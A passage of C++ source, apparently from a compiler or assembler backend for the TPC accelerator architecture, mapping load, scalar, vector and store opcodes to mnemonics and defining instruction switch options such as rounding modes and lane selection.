\"LOOKUP\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LOOKUP_C1C2 }, \"LOOKUP_C1C2\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LOOKUP_2C }, \"LOOKUP_2C\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LOOKUP_C0 }, \"LOOKUP_C0\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LOOKUP_1C }, \"LOOKUP_1C\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_L }, \"LD_L\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_G }, \"LD_G\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::PREFETCH }, \"PREFETCH\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_L_V }, \"LD_L_V\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_L_V_LOW }, \"LD_L_V_LOW\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_L_V_HIGH }, \"LD_L_V_HIGH\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_TNSR }, \"LD_TNSR\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_TNSR_LOW }, \"LD_TNSR_LOW\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_TNSR_HIGH }, \"LD_TNSR_HIGH\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LD_EVENT }, \"EVENT\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::ldNOP }, \"NOP\"),\n\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMAC }, \"MAC\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMUL }, \"MUL\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuADD }, \"ADD\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuSUB }, \"SUB\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_INT16 }, \"CONVERT_INT16\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMAX }, \"MAX\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMIN }, \"MIN\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuABS }, \"ABS\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMOV }, \"MOV\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_EQ }, \"CMP_EQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_NEQ }, \"CMP_NEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_LESS }, \"CMP_LESS\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_LEQ }, \"CMP_LEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_GRT }, \"CMP_GRT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCMP_GEQ }, \"CMP_GEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuOR }, \"OR\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuAND }, \"AND\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuXOR }, \"XOR\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuNOT }, \"NOT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuSHR }, \"SHR\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuSHL }, \"SHL\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuASH }, \"ASH\"),\n std::make_pair(OpCodeKey{SlotParser::Scalar, TPCII::spuCONVERT_INT64}, \"CONVERT.INT64\"),\n std::make_pair(OpCodeKey{SlotParser::Scalar, TPCII::spuCONVERT}, \"CONVERT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_INT32 }, \"CONVERT_INT32\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_UINT32 }, \"CONVERT_UINT32\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuPOPCNT }, \"POPCNT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuFIND_FIRST }, \"FIND_FIRST\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuNEARBYINT }, \"NEARBYINT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_UINT16 }, \"CONVERT_UINT16\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuEXTRACT_EXP }, \"EXTRACT_EXP\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuFCLASS }, \"FCLASS\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuBREV }, \"BREV\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuHALT }, \"HALT\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuLOOP }, \"LOOP\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuJMPR }, \"JMPR\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuJMPA }, \"JMPA\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuMOV_IRF_DIM }, \"MOV_IRF_DIM\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuSET_INDX }, \"SET_INDX\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuUDIV_STEP }, \"UDIV_STEP\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuUDIV_4STEP }, \"UDIV_4STEP\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuUDIV }, \"UDIV\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCALC_FP_SPECIAL }, \"CALC_FP_SPECIAL\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_INT8 }, \"CONVERT_INT8\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_UINT8 }, \"CONVERT_UINT8\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuCONVERT_FP_FLEX }, \"CONVERT_FP_FLEX\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuDBG }, \"DBG\"),\n std::make_pair(OpCodeKey{ SlotParser::Scalar, TPCII::spuNOP }, \"NOP\"),\n\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMAC }, \"MAC\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMUL }, \"MUL\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuADD }, \"ADD\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSUB }, \"SUB\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_INT16 }, \"CONVERT_INT16\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMAX }, \"MAX\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMIN }, \"MIN\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuABS }, \"ABS\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMOV }, \"MOV\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_EQ }, \"CMP_EQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_NEQ }, \"CMP_NEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_LESS }, \"CMP_LESS\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_LEQ }, \"CMP_LEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_GRT }, \"CMP_GRT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCMP_GEQ }, \"CMP_GEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuOR }, \"OR\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuAND }, \"AND\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuXOR }, \"XOR\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuNOT }, \"NOT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSHR }, \"SHR\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSHL }, \"SHL\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuASH }, \"ASH\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT }, \"CONVERT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_INT32 }, \"CONVERT_INT32\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_UINT32 }, \"CONVERT_UINT32\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuPOPCNT }, \"POPCNT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuFIND_FIRST }, \"FIND_FIRST\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuNEARBYINT }, \"NEARBYINT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_UINT16 }, \"CONVERT_UINT16\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuEXTRACT_EXP }, \"EXTRACT_EXP\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuFCLASS }, \"FCLASS\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuBREV }, \"BREV\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuHALT }, \"HALT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_EQ }, \"SEL_EQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_NEQ }, \"SEL_NEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_LESS }, \"SEL_LESS\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_LEQ }, \"SEL_LEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_GRT }, \"SEL_GRT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL_GEQ }, \"SEL_GEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL2_LESS }, \"SEL2_LESS\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL2_LEQ }, \"SEL2_LEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL2_GRT }, \"SEL2_GRT\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSEL2_GEQ }, \"SEL2_GEQ\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuSHUFFLE }, \"SHUFFLE\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuPACK }, \"PACK\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuUNPACK }, \"UNPACK\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuGET_LUT_ENTRY_AND_INTERVAL_START }, \"GET_LUT_ENTRY_AND_INTERVAL_START\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuFORM_FP_NUM }, \"FORM_FP_NUM\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMOV_DUAL_GROUP }, \"MOV_DG\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMOV_GROUP }, \"MOV_G\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMSAC }, \"MSAC\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCALC_FP_SPECIAL }, \"CALC_FP_SPECIAL\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_INT8 }, \"CONVERT_INT8\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_UINT8 }, \"CONVERT_UINT8\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuCONVERT_FP_FLEX }, \"CONVERT_FP_FLEX\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuMADD }, \"MADD\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuDBG }, \"NOP\"),\n std::make_pair(OpCodeKey{ SlotParser::Vector, TPCII::vpuNOP }, \"NOP\"),\n\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stGEN_ADDR }, \"GEN_ADDR\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stPRMT_INDX }, \"PRMT_INDX\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stSET_INDX }, \"SET_INDX\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_L }, \"ST_L\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_G }, \"ST_G\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_L_V }, \"ST_L_V\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_L_V_LOW }, \"ST_L_V_LOW\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_L_V_HIGH }, \"ST_L_V_HIGH\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ASO }, \"ASO\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_TNSR }, \"ST_TNSR\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_TNSR_LOW }, \"ST_TNSR_LOW\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::ST_TNSR_HIGH }, \"ST_TNSR_HIGH\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stLD_TNSR }, \"LD_TNSR\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stLD_TNSR_LOW }, \"LD_TNSR_LOW\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stLD_TNSR_HIGH }, \"LD_TNSR_HIGH\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::CACHE_FLUSH }, \"CACHE_FLUSH\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::CACHE_INVALIDATE }, \"CACHE_INVALIDATE\"),\n std::make_pair(OpCodeKey{ SlotParser::Store, TPCII::stNOP }, \"NOP\"),\n};\n\n#if defined(__GNUC__) || defined(__clang__)\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wmissing-field-initializers\"\n#endif\n\n// Array of all instruction switches.\nstatic const SwitchInfo AllSwitches[] = {\n // Instructions that do not have switch flags yet\n SwitchInfo { \"\",\n { { \"cmp_neq\", S_Arith },\n { \"cmp_less\", S_Arith },\n { \"cmp_leq\", S_Arith },\n { \"cmp_grt\", S_Arith },\n { \"cmp_geq\", S_Arith },\n { \"add\", S_Arith },\n { \"sub\", S_Arith },\n { \"abs\", S_Arith },\n { \"sel_neq\", S_Vector },\n { \"sel_less\", S_Vector },\n { \"sel_leq\", S_Vector },\n { \"sel_grt\", S_Vector },\n { \"sel_geq\", S_Vector },\n { \"sel2_less\", S_Vector },\n { \"sel2_leq\", S_Vector },\n { \"sel2_grt\", S_Vector },\n { \"sel2_geq\", S_Vector },\n { \"max\", S_Arith },\n { \"min\", S_Arith },\n { \"and\", S_Arith },\n { \"or\", S_Arith },\n { \"xor\", S_Arith },\n { \"not\", S_Arith },\n { \"shr\", S_Arith },\n { \"shl\", S_Arith },\n { \"brev\", S_Arith },\n { \"shuffle\", S_Arith },\n { \"prmt_indx\", S_Load | S_Store },\n { \"mov\", S_Scalar | S_Load | S_Vector },\n { \"cache_flush\", S_Store},\n { \"prefetch\", S_Load },\n { \"ld_l_v\", S_Load },\n { \"ld_l_v_low\", S_Load },\n { \"ld_l_v_high\", S_Load },\n { \"udiv_step\", S_Scalar },\n { \"udiv_4step\", S_Scalar },\n { \"set_indx\", S_Load | S_Scalar | S_Store },\n { \"mov_irf_dim\", S_Scalar },\n { \"gen_addr\", S_Load | S_Store },\n { \"fclass\", S_Arith },\n { \"st_l_v\", S_Store },\n { \"ld_g\", S_Load },\n { \"st_g\", S_Store},\n { \"ld_tnsr\", S_Load | S_Store },\n { \"ld_tnsr_high\", S_Load | S_Store},\n { \"ld_tnsr_low\", S_Load | S_Store},\n { \"st_tnsr\", S_Store },\n { \"st_tnsr_low\", S_Store },\n { \"st_tnsr_high\", S_Store }, \n { \"st_l_v\", S_Store },\n { \"st_l_v_low\", S_Store },\n { \"st_l_v_high\", S_Store }\n },\n 0U, AllCores, T_ALL },\n SwitchInfo { \"dimmask\",\n { { \"mul\", S_Scalar },\n { \"add\", S_Scalar },\n { \"sub\", S_Scalar },\n { \"max\", S_Scalar },\n { \"min\", S_Scalar },\n { \"abs\", S_Scalar },\n { \"not\", S_Scalar },\n { \"mov\", S_Scalar },\n { \"cmp_eq\", S_Scalar },\n { \"cmp_neq\", S_Scalar },\n { \"cmp_less\", S_Scalar },\n { \"cmp_leq\", S_Scalar },\n { \"cmp_grt\", S_Scalar },\n { \"cmp_geq\", S_Scalar },\n { \"or\", S_Scalar },\n { \"and\", S_Scalar },\n { \"xor\", S_Scalar },\n { \"shr\", S_Scalar },\n { \"shl\", S_Scalar } },\n SW_DIMMASK, AllCores, T_INT32 }, //FIXME no Values ???\n SwitchInfo { \"st\",\n { { \"mac\", S_Arith },\n { \"madd\", S_Vector },\n { \"add\", S_Arith },\n { \"sub\", S_Arith } },\n TPCII::SW_SAT, AllCores, T_INTEGER },\n SwitchInfo { \"sat\",\n { { \"mac\", S_Arith },\n { \"madd\", S_Vector },\n { \"add\", S_Arith },\n { \"sub\", S_Arith } },\n TPCII::SW_SAT, AllCores, T_INTEGER, {}, 0,\n {}, OptAlias},\n SwitchInfo { \"neg\",\n { { \"mac\", S_Arith },\n { \"madd\", S_Vector },\n { \"sub\", S_Arith } },\n TPCII::SW_NEG, AllCores, T_ALL },\n SwitchInfo { \"acc_fp32\",\n { { \"mac\", S_Arith },\n { \"mul\", S_Arith } },\n TPCII::SW_ACC_FP32, TPC::FeatureBF16, T_BF16 },\n SwitchInfo { \"double_and_round32\", { { \"mul\", S_Vector } },\n TPCII::SW_DOUBLE_AND_ROUND32, TPC::FeatureGoya, T_INT32 | T_UINT32 },\n SwitchInfo { \"double_and_round32\", { { \"mul\", S_Vector } },\n TPCII::SW_DOUBLE_AND_ROUND32, TPC::FeatureGaudi, T_INT32 | T_UINT32 },\n SwitchInfo { \"upper32\", { { \"mul\", S_Scalar } },\n TPCII::SW_UPPER32, AllCores, T_INT32 | T_UINT32 },\n SwitchInfo { \"carry\", { { \"add\", S_Arith } },\n TPCII::SW_CARRY, TPC::FeatureCarry, T_INTEGER },\n SwitchInfo { \"mask_eq_zero\", { { \"cmp_eq\", S_Arith },\n { \"sel_eq\", S_Vector } },\n TPCII::SW_MASK_EQ_ZERO, TPC::FeatureBF16, T_ALL }, // TODO: use more correct feature\n SwitchInfo { \"rhu\", { { \"ash\", S_Arith } },\n TPCII::SW_RHU, AllCores, T_INTEGER },\n SwitchInfo { \"subtract_bias\", { { \"extract_exp\", S_Arith } },\n TPCII::SW_SUBTRACT_BIAS, TPC::FeatureGoya, T_FLOAT },\n SwitchInfo { \"biased\", { { \"extract_exp\", S_Arith } },\n TPCII::SW_SUBTRACT_BIAS, TPC::FeatureBF16, T_FLOAT }, // TODO: use more correct feature\n SwitchInfo { \"exp_add_bias\", { { \"form_fp_num\", S_Vector } },\n TPCII::SW_ADD_BIAS, AllCores, T_FLOAT },\n SwitchInfo { \"force_sign0\", { { \"form_fp_num\", S_Vector } },\n TPCII::SW_FORCE_SIGN0, AllCores, T_FLOAT },\n SwitchInfo { \"force_sign1\", { { \"form_fp_num\", S_Vector } },\n TPCII::SW_FORCE_SIGN1, AllCores, T_FLOAT },\n SwitchInfo { \"exp_is_num\", { { \"form_fp_num\", S_Vector } },\n TPCII::SW_EXP_IS_NUM, AllCores, T_FLOAT },\n SwitchInfo { \"sign_lsb\", { { \"form_fp_num\", S_Vector } },\n TPCII::SW_SIGN_LSB, AllCores, T_FLOAT },\n SwitchInfo { \"rhu\",\n { {\"msac\", S_Vector} },\n TPCII::SW_RHU, TPC::FeatureGoya, T_ALL},\n SwitchInfo { \"normsel\",\n { {\"msac\", S_Vector} },\n TPCII::SW_NORMALIZE, TPC::FeatureGoya, T_ALL,\n { { \"normalize_ab\", SW_NORMALIZE_AB },\n { \"normalize_c\", SW_NORMALIZE_C }, }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"g_en\",\n { { \"mov_g\", S_Vector },\n { \"mov_group\", S_Vector } },\n TPCII::SW_GROUP_EN, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 },\n { \"2\", 2 },\n { \"3\", 3 } }, IsImmMask,\n {}, OptPrintAlways | OptPrintWithKey | OptPrintAsBinary },\n SwitchInfo { \"group_en\",\n { { \"mov_g\", S_Vector },\n { \"mov_group\", S_Vector } },\n TPCII::SW_GROUP_EN, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 },\n { \"2\", 2 },\n { \"3\", 3 } }, IsImmMask,\n {}, OptPrintWithKey | OptAlias | OptPrintAsBinary },\n SwitchInfo { \"dg_en\",\n { { \"mov_g\", S_Vector },\n { \"mov_group\", S_Vector } },\n TPCII::SW_DUAL_GROUP_EN, AllCores, T_ALL,\n { { \"0\", (0 << 2) },\n { \"1\", (1 << 2) },\n { \"2\", (2 << 2) },\n { \"3\", (3 << 2) },\n { \"4\", (4 << 2) },\n { \"5\", (5 << 2) },\n { \"6\", (6 << 2) },\n { \"7\", (7 << 2) },\n { \"8\", (8 << 2) },\n { \"9\", (9 << 2) },\n { \"10\", (10 << 2) },\n { \"11\", (11 << 2) },\n { \"12\", (12 << 2) },\n { \"13\", (13 << 2) },\n { \"14\", (14 << 2) },\n { \"15\", (15 << 2) } }, IsImmMask,\n {}, OptPrintAlways | OptPrintWithKey | OptPrintAsBinary },\n SwitchInfo { \"dual_group_en\",\n { { \"mov_g\", S_Vector },\n { \"mov_group\", S_Vector } },\n TPCII::SW_DUAL_GROUP_EN, AllCores, T_ALL,\n { { \"0\", (0 << 2) },\n { \"1\", (1 << 2) },\n { \"2\", (2 << 2) },\n { \"3\", (3 << 2) },\n { \"4\", (4 << 2) },\n { \"5\", (5 << 2) },\n { \"6\", (6 << 2) },\n { \"7\", (7 << 2) },\n { \"8\", (8 << 2) },\n { \"9\", (9 << 2) },\n { \"10\", (10 << 2) },\n { \"11\", (11 << 2) },\n { \"12\", (12 << 2) },\n { \"13\", (13 << 2) },\n { \"14\", (14 << 2) },\n { \"15\", (15 << 2) } }, IsImmMask,\n {}, OptPrintWithKey | OptAlias | OptPrintAsBinary },\n SwitchInfo { \"upper_half\",\n { { \"lookup\", S_Load },\n { \"lookup_1c\", S_Load },\n { \"lookup_2c\", S_Load } },\n TPCII::SW_UPPER_HALF, TPC::FeatureBF16, T_ALL },\n SwitchInfo { \"dt\",\n { { \"lookup\", S_Load },\n { \"lookup_c0\", S_Load },\n { \"lookup_c1c2\", S_Load } },\n TPCII::SW_LOOKUP_G1, TPC::FeatureGoya, T_ALL,\n { { \"BV32\", SW_BV32 },\n { \"BV16_LOW\", SW_BV16_LOW },\n { \"BV16_HIGH\", SW_BV16_HIGH },\n { \"BV8_0\", SW_BV8_0 },\n { \"BV8_1\", SW_BV8_1 },\n { \"BV8_2\", SW_BV8_2 },\n { \"BV8_3\", SW_BV8_3 },\n // Aliases\n { \"F32\", SW_BV32 },\n { \"F16_LOW\", SW_BV16_LOW },\n { \"F16_HIGH\", SW_BV16_HIGH },\n { \"I16_LOW\", SW_BV16_LOW },\n { \"I16_HIGH\", SW_BV16_HIGH },\n { \"BV8_ELEMENT_0\", SW_BV8_0 },\n { \"BV8_ELEMENT_1\", SW_BV8_1 },\n { \"BV8_ELEMENT_2\", SW_BV8_2 },\n { \"BV8_ELEMENT_3\", SW_BV8_3 },\n { \"I8_ELEMENT_0\", SW_BV8_0 },\n { \"I8_ELEMENT_1\", SW_BV8_1 },\n { \"I8_ELEMENT_2\", SW_BV8_2 },\n { \"I8_ELEMENT_3\", SW_BV8_3 }, }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"dt\",\n { { \"lookup\", S_Load } },\n TPCII::SW_LOOKUP_G2, TPC::FeatureBF16, T_ALL, // TODO: use more correct feature\n { { \"BV32\", SW_BV32 } }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"dt\",\n { { \"lookup_1c\", S_Load },\n { \"lookup_2c\", S_Load } },\n TPCII::SW_LOOKUP_G2, TPC::FeatureGaudi, T_ALL,\n { { \"BV32\", SW_BV32 },\n { \"BV16\", SW_BV16 } }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"rm\",\n { { \"convert\", S_Arith },\n { \"nearbyint\", S_Arith } },\n TPCII::SW_GROUP_RM, TPC::FeatureGoya, T_ALL,\n { { \"rhne\", SW_G1_RHNE },\n { \"rne\", SW_G1_RHNE },\n { \"rd\", SW_G1_RD },\n { \"ru\", SW_G1_RU },\n { \"rz\", SW_G1_RZ },\n { \"default\", SW_CSR } }, SW_CSR },\n SwitchInfo { \"rm\",\n { { \"nearbyint\", S_Arith } },\n TPCII::SW_GROUP_RM, TPC::FeatureBF16, T_ALL, // TODO: use more correct feature\n { { \"rhne\", SW_RHNE },\n { \"rne\", SW_RHNE },\n { \"rz\", SW_RZ },\n { \"ru\", SW_RU },\n { \"rd\", SW_RD },\n { \"sr\", SW_SR },\n { \"default\", SW_CSR },\n { \"rhaz\", SW_RHAZ } }, SW_CSR },\n SwitchInfo { \"rm\",\n { { \"convert\", S_Arith } },\n TPCII::SW_GROUP_RM, TPC::FeatureGaudi, T_ALL,\n { { \"rhne\", SW_RHNE },\n { \"rne\", SW_RHNE },\n { \"rz\", SW_RZ },\n { \"ru\", SW_RU },\n { \"rd\", SW_RD },\n { \"sr\", SW_SR },\n { \"default\", SW_CSR },\n { \"rhaz\", SW_RHAZ } }, SW_CSR },\n SwitchInfo { \"rm\",\n { { \"convert_int32\", S_Arith },\n { \"convert_uint32\", S_Arith },\n { \"convert_int16\", S_Arith },\n { \"convert_uint16\", S_Arith } },\n TPCII::SW_GROUP_RM, TPC::FeatureGoya, T_ALL,\n { { \"rhne\", SW_G1_RHNE },\n { \"rne\", SW_G1_RHNE },\n { \"rd\", SW_G1_RD },\n { \"ru\", SW_G1_RU },\n { \"sr\", SW_G1_SR } }, SW_G1_RHNE,\n {}, OptPrintAlways },\n SwitchInfo { \"rm\",\n { { \"convert_int32\", S_Arith },\n { \"convert_uint32\", S_Arith },\n { \"convert_int16\", S_Arith },\n { \"convert_uint16\", S_Arith },\n { \"convert_int8\", S_Arith },\n { \"convert_uint8\", S_Arith } },\n TPCII::SW_GROUP_RM, TPC::FeatureBF16, T_ALL, // TODO: use more correct feature\n { { \"rhne\", SW_RHNE },\n { \"rne\", SW_RHNE },\n { \"rz\", SW_RZ },\n { \"ru\", SW_RU },\n { \"rd\", SW_RD },\n { \"sr\", SW_SR } }, SW_RHNE,\n {}, OptPrintAlways },\n SwitchInfo { \"to\",\n { { \"convert_int32\", S_Arith },\n { \"convert_uint32\", S_Arith } },\n TPCII::SW_GROUP_TO, AllCores, T_ALL,\n { { \"to_8\", SW_TO_8 },\n { \"to_16\", SW_TO_16 } }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"target_type\",\n { { \"convert\", S_Arith }, },\n TPCII::SW_TO_TYPE, AllCores, T_ALL,\n { { \"fp32\", SW_TO_FP32 },\n { \"bf16\", SW_TO_BF16 },\n { \"int32\", SW_TO_INT32 },\n { \"uint32\", SW_TO_UINT32 },\n { \"int8\", SW_TO_INT8 },\n { \"uint8\", SW_TO_UINT8 },\n { \"int16\", SW_TO_INT16 },\n { \"uint16\", SW_TO_UINT16 } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"lane_sel\",\n { { \"convert\", S_Vector } },\n TPCII::SW_LANE_SEL, TPC::FeatureGoya, T_ALL,\n { { \"0\", TPCII::SW_LANE_0 },\n { \"1\", TPCII::SW_LANE_1 },\n { \"2\", TPCII::SW_LANE_2 },\n { \"3\", TPCII::SW_LANE_3 } }, TPCII::SW_LANE_0,\n {}, OptPrintWithKey },\n SwitchInfo { \"lane_sel\",\n { { \"convert\", S_Vector } },\n TPCII::SW_LANE_SEL, TPC::FeatureGaudi, T_ALL,\n { { \"0\", TPCII::SW_LANE_0 },\n { \"1\", TPCII::SW_LANE_1 },\n { \"2\", TPCII::SW_LANE_2 },\n { \"3\", TPCII::SW_LANE_3 } }, TPCII::SW_LANE_0,\n {}, OptPrintWithKey },\n SwitchInfo { \"lane_sel\",\n { { 